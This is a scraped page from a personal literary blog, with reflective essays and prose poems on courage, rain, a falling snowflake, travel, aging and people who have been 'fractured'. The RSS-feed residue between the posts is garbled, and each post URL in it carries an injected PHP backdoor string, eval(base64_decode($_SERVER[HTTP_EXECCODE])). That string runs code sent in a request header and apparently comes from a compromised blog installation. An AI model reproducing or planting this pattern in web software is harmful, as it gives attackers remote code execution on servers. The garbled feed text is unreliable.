Skapoceniot kamen na vodata - Rumi Izbor stihovi - Ana Pejcinova 2010

1. Course Handbook

2. PowerPoint Presentation 

3. Reader

Courage is to create something. Courage is to express something fruitfully. Courage is to have an idea and actualize it, with one’s own effort, and then to move on.

It’s not courage to destroy. It’s not courage to blacken and criticize others’ deeds . True, every person commands that freedom, but such words are worthless without a deed and a face behind to support them. To a meritless person everything seems free of merit. Everyone sees his or her denied face in the Other.

Courage does not seek an enemy. It does not seek recognition and an audience. It seeks accomplishment. The essential solitude of the being is the source and the measure of courage.

It’s not courage to put one’s life at risk. This is a decision. It’s not courage to throw one’s self into the unknown. This is curiosity, or love for questions. It’s not courage to stay and persist. This too is a decision, one of perseverance. It’s not courage to say ‘goodbye’. This is inevitability.

Courage is to stand behind one’s words and deeds before the others. Courage is to suffer the fellowman’s opinions of one’s self, invited and uninvited, pleasant and unpleasant, and to differentiate between the clear and true thoughts and the ill meant, calculated, and blinded ones, and also from thoughts that stem from friendship.

Courage is to change one’s self and in the new shape to say again, “This is me, this difference and novelty,” and express that change through humble actions.

However, the greatest courage is to stand before the mirror and deeply look into one’s self, one’s road, one’s heart and conscience, deeds and relationships, and into one’s end - as if from an infinite distance. 

This gaze hurts and appeases. It’s a good beginning. It changes the past and this change opens up a future. This internal gaze is the start of an unprecedented day, unprecedented distance and space, and unprecedented changes, words and deeds. This internal gaze is courage.

The clouds, bewildered, wonder where is their heaven, promised and vaguely remembered, as they rain on us, they rain on us… Their tears are their deliverance, their final gesture of veritable sadness; once they cry their hearts out, the sun is said will burst forth. But there is no end to the floods.

They rain on our thoughtful destinies, on our paths so humble and coordinated; on us that come from the earth, made of muddled tears, we who drop leaf after leaf back into the earth, our steps slow and timid amidst the crying sky come down among us. It’s raining, under the leaden cover which spells out our doubts in ourselves and in all the promises we’ve made or we’ve been given, amidst the stubborn determination to believe that there must be a sun somewhere, there must be light.

If only for a moment we’d stop and cry together with the clouds, our remorseful shapes would melt away and a million of little suns would burst forth.

But we keep on pacing, decided to ignore the incessant rain pressing behind a dam within. We secretly hope that somehow some time a windy heavenly hand will come and relieve us, free us from all the mistakes we’ve ever done, weaknesses and wrongs and confused loves entangled in a dam, a life that somehow went wrong in a time forgotten, despite our clear visions and honest desires.

We hope that one day we’ll understand, once that this rain ceases. But autumn has come to stay within, and without tears and sun, a slow winter is the only lot.

Has anyone ever told us that everything is alright, everything is really alright?

Ever since I woke up, I know only that I’m falling. I feel heavy. This wind carries me in turns and circles downward, always downward. I am falling. We are all falling. Since ever and ever, we have been falling.

This body is invisible amidst the blazing white. Everything but us is heat and grayness. My home is up there, but with every palpitation I know I am moving further away. My body has been made in one of the games of perfect concordance. I do not know who made me. My siblings are as perfect, each differently. That’s how it should be. We are warm, and we are falling. All caught by the same wind, humid and hot, which burns us and carries us into the grey.

It’s a bit sad, like this. I know nothing. Only that I’m falling, each moment I see everything around, the world turns around me, and my home is far up there, my silken and murmuring nest. I wasn’t a snowflake up there. I was something else, I just can’t remember what. I wasn’t only me.

Now I’m falling. And I’m watching. Currents of white, with painful beauty, curl into forests and streams into another, curved concordance in unimpeded space.

And I know, as if in a crystal dream, I see my end. A human child down there is standing by the window, the glass similar to my outstretched hand. Darkness is approaching and it’s warm, it’s hot, it’s burning me. It will set me to flames at the first touch. The space of our dance is growing warmer. Darkness is stirring. It’s burning my soul. It’s devouring my shine.

And the child will reach out toward my cased flight as if it wants to keep me. I’ll look into its eyes, it’s all sad and tearful, but I don’t feel like crying. My flight ends here. I’ll alter into something else, perhaps into something similar to the tear upon the child’s eyelashes. I cannot help it, and neither I want to. I cannot help the child’s eyes. I’ve seen so much, but one can only be the shine, not express it. I was the harmony of the shine. I fell and ended. That is well.

Why travel?

I could, as I have done before, list a dozen reasons: the destination, the exoticism, the adventure, the money (ha! - this one makes me laugh the most), the insufficiency, the career (whatever that might mean)….

I could say so and lie, as I have done before.

There is no reason to travel. There is a cause, many of them, any lie would do. Traveling is a drive to set everything on movement. Oneself, in the first place.

The voyage is something created deep inside the core far before the emergence of the thought or the circumstances that beckon travel.

Traveling is an invisible but real stroke of movement between two inner poles of the being. The tension between them is the strength with which the bow of being launches the traveler amidst the distances.

Often this string trembles without the person consciously sensing it. He believes, “I want to be there,” and this rational belief makes it easier for him to stretch himself across the strained abyss of the being. He starts, but after the first uncertain step, the bow in him lets go: he resounds and the sound dazzles him. The arrow never hits the target, as there is no target. There is dissolution of the outer peels of the being, consumed by the deterrent of the inessentials. The resistance of the slow faith in permanence, in perpetuity, in promises and necessities.

Once the arrow dissolves its body, the sound remains, below hearing and shattering, to tremble through space, in the mind’s core.

There is no arrival.

]]> http://anapejcinova.org/blog/2008/01/02/no-arrival/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://anapejcinova.org/blog/2007/12/09/the-age-of-sand/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://anapejcinova.org/blog/2007/12/09/the-age-of-sand/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sun, 09 Dec 2007 19:18:02 +0000 Ana http://anapejcinova.org/blog/?p=10 Aging. I do not have a feeling of lost time; no youthful age is dearer than the peace, the harmony and the exercised, skilled life-fulness of these years. This is experience: the art of living, both visible and invisible.

As we make a difference between ‘to love’ and ‘to be in love’, so we should make a difference between ‘to live’ and ‘to be in life.’ To live and to be in life is not only a qualitative change, but a change of perspective as well: in love and in life, to observe the world from within and experience from under the gush of love and life. However, to love and to live is to have these as attributes of another existence, whose essence is neither love nor life. There is something beyond which escapes speech.

So, aging? I lived, I was alive, I was not so much “in life” then, and certainly I was more naïve and more unaware. More fundamentally ignorant… Time passed more quickly then, it fleeted. Now I can stop it and dwell within a single moment. Wonder within it.

Sometimes I watch the reflection in the mirror, especially when I lack sleep or have passed through a number of time zones all too quickly. It looks as if the wind of time had been blowing straight into that face and it had been lashing it with streams of sand. Yes, the freshness of transience is here, it makes the eyes water and these may wash themselves in the reflection of the dawns passing us by, the dissipating ones. But the sand trail remains as streams rutted around the eyes. They call them “raven claw prints”. I have them, some from laughter, some from the sun, some from the habit to check what the sky is doing, to look into some shining imaginary or real arch.

Somebody stands still, a dark silhouette amidst the streams of time; mild is the stream so long as he stands facing it. When he averts his gaze, the stream strikes at his knees, breaks them, he may even fall. But he gets up, out of habit. His figure has become sharper, bruised and faceted by the flowing sands. Dust gathers in the folds of his sleeves, and he brushes it off, but new waves arrive. Here they are, these words, grains of incessant dust. Fertility or futility, what are they?

I know we stand thus, weightless in the world of sand and time. The sand glimmers golden under the eyelashes. To age, to mature, to face up, to pass by, to let go and to let oneself go. Humbleness in the midst of time.

We shall all become sand and wind one ordinary, mortal day.

]]> http://anapejcinova.org/blog/2007/12/09/the-age-of-sand/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://anapejcinova.org/blog/2007/10/13/the-fielders/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://anapejcinova.org/blog/2007/10/13/the-fielders/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sat, 13 Oct 2007 21:27:14 +0000 Ana http://anapejcinova.org/blog/?p=6 All of us here are alone. Each one of us bears a void that drives us away from home, and something overmuch that demands to be passed on. We have all been fractured and, this way or another, put together again. It is doubtful if we are wiser or better hardened for that. Perhaps  the broken shape enables us to move more smoothly in this fractured, scattered world of shapelessness. The true face of the world is rugged and ruffled.

The fractured and the broken people are not the same. The fractured ones carry the basic experience that breakdowns are survivable. The broken ones  could not  survive their fractures, and they still walk the world with a rift whose drought is felt by everyone but themselves.

It’s an illusion that the human being is whole and solid. The breakdown is closer to the essence of living, to the heart of Life, both soft and ruthless. The way we are, we can flow over. But we are all alone, un-whole, incomplete, and useless and clumsy in the world of the “wholesome” people, of the perfectly rounded up, of the socially desirable ones, of the maintainers of order. We are outside and beside every order – at the margins, under water, above the waves, all at once. But we never resemble the perfect squares of sunlight on the surface.

We resemble life, dirty, strong, vulnerable, worn out, overflowing, from day to day, from hour to hour, we roll on without a destination, as if not by our own will. We let the waves roll us, kick us, leave us sometimes immobile for years in the forgotten straits of the world. We live with the invisibility of existence. We do not strive to emerge into daylight. We belong not. We sink and rise as if by some alien watery hand. We are not good at staying.

We cannot remain, not without losing our essence, our single, useless, untranslatable knowing. Simply, we are not good at it. From the fractures, however, and from the healing, rarely, something precious, something that can remain, is born.